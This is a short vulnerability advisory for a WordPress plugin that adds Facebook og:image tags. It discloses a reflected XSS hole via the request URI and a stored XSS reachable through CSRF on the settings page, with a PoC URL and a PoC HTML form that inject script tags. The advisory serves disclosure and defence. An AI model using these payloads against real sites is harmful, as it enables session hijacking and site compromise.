Title: WordPress 'Default Facebook Thumbnails' Plugin 
Version: 0.4
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-13
Download: 
- https://wordpress.org/plugins/default-facebook-thumbnail/
- https://plugins.svn.wordpress.org/default-facebook-thumbnail/
Notified WordPress: 2015-06-21
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## Plugin description
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This plugin adds a og:image tag to your head with the input/upload of the image in the settings.

## XSS/CSRF Vulnerabilities
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The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a direct link to the vulnerable file (keep in mind that most modern browsers encode the url).

PoC:
[URL]/wp-content/plugins/default-facebook-thumbnail/fb_thumbnail_admin.php?/"><script>alert(1)</script>

The "Upload Image or URL" field in the admin-settings page is vulnerable to stored XSS. This can be exploited by utilizing a CSRF vulnerability.

PoC:
Log in as admin and submit this form:

<form method="POST" action="http://[URL]/wp-admin/admin.php?page=fb_thumbs"> 
  <text>upload image: </text>
   <input type="text" name="upload_image" value=""><script>alert(1)</script>"><br />
   <text>fb_thumb_hidden: </text>
  <input type="text" name="fb_thumb_hidden" value="Y" readonly><br />
  <input type="submit">
</form>


## Solution
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No fix available

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XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.